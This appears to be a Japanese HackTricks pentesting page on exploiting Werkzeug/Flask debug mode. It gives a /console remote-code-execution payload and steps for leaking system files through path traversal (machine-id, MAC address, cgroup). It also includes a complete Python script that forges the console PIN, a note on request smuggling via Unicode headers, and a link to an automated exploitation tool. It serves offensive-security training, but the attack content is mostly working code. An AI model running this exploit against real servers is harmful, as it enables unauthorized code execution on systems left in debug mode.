Werkzeug / Flask デバッグ

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

コンソール RCE

デバッグが有効な場合、/console にアクセスして RCE を取得することができます。

python
__import__('os').popen('whoami').read();

インターネット上には、これやmetasploitのものなど、いくつかのエクスプロイトがあります。

ピン保護 - パス・トラバーサル

場合によっては、/console エンドポイントがピンで保護されることがあります。ファイルトラバーサルの脆弱性がある場合、そのピンを生成するために必要な情報をすべて漏洩させることができます。

Werkzeug コンソール PIN エクスプロイト

アプリでデバッグエラーページを強制的に表示させて、これを確認します:

The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server

"console locked" シナリオに関するメッセージは、Werkzeugのデバッグインターフェースにアクセスしようとした際に表示され、コンソールを解除するためにPINが必要であることを示しています。コンソールPINを悪用するために、Werkzeugのデバッグ初期化ファイル(__init__.py)におけるPIN生成アルゴリズムを分析することが提案されています。PIN生成メカニズムは、Werkzeug source code repository から調査できますが、バージョンの不一致の可能性があるため、実際のサーバーコードをファイルトラバーサル脆弱性を通じて取得することが推奨されます。

コンソールPINを悪用するには、probably_public_bitsprivate_bits の2セットの変数が必要です:

probably_public_bits

  • username: Flaskセッションを開始したユーザーを指します。
  • modname: 通常は flask.app と指定されます。
  • getattr(app, '__name__', getattr(app.__class__, '__name__')): 一般的に Flask に解決されます。
  • getattr(mod, '__file__', None): Flaskディレクトリ内の app.py へのフルパスを表します(例: /usr/local/lib/python3.5/dist-packages/flask/app.py)。app.py が適用できない場合は、app.pyc を試してください

private_bits

  • uuid.getnode(): 現在のマシンのMACアドレスを取得し、str(uuid.getnode()) によって10進形式に変換されます。

  • サーバーのMACアドレスを特定するには、アプリで使用されているアクティブなネットワークインターフェース(例: ens3)を特定する必要があります。不明な場合は、/proc/net/arp をリークしてデバイスIDを見つけ、次に /sys/class/net/<device id>/address からMACアドレスを抽出します

  • 16進数のMACアドレスを10進数に変換する方法は以下の通りです:

python
# 例のMACアドレス: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
  • get_machine_id(): /etc/machine-id または /proc/sys/kernel/random/boot_id からのデータを、最後のスラッシュ(/)以降の /proc/self/cgroup の最初の行と連結します。
`get_machine_id()` のコード
python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id

if _machine_id is not None:
return _machine_id

def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""

# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue

if value:
linux += value
break

# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass

if linux:
return linux

# On OS X, use ioreg to get the computer's serial number.
try:

必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。

必要なデータをすべて収集した後、エクスプロイトスクリプトを実行してWerkzeugコンソールPINを生成できます。スクリプトは、組み立てられたprobably_public_bitsprivate_bitsを使用してハッシュを作成し、その後さらに処理を行って最終的なPINを生成します。以下は、このプロセスを実行するためのPythonコードです:

python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user',  # username
'flask.app',  # modname
'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py'  # getattr(mod, '__file__', None),
]

private_bits = [
'279275995014060',  # str(uuid.getnode()),  /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1'  # get_machine_id(), /etc/machine-id
]

# h = hashlib.md5()  # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

このスクリプトは、連結されたビットをハッシュ化し、特定のソルト(cookiesaltpinsalt)を追加し、出力をフォーマットすることでPINを生成します。probably_public_bitsprivate_bits の実際の値は、生成されたPINがWerkzeugコンソールで期待されるものと一致するように、ターゲットシステムから正確に取得する必要があることに注意することが重要です。

tip

古いバージョンのWerkzeugを使用している場合は、ハッシュアルゴリズムをsha1の代わりにmd5に変更してみてください。

Werkzeug Unicode文字

この問題で観察されたように、WerkzeugはヘッダーにUnicode文字が含まれるリクエストを閉じません。そして、この解説で説明されているように、これによりCL.0リクエストスムージングの脆弱性が発生する可能性があります。

これは、WerkzeugではいくつかのUnicode文字を送信することが可能であり、それがサーバーを壊すことになるからです。しかし、HTTP接続が**Connection: keep-aliveヘッダーで作成された場合、リクエストのボディは読み取られず、接続はまだオープンのままとなり、リクエストのボディ次のHTTPリクエスト**として扱われます。

自動化された悪用

GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode. You just have to write a python function that leaks a file content and you have your shell :)

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする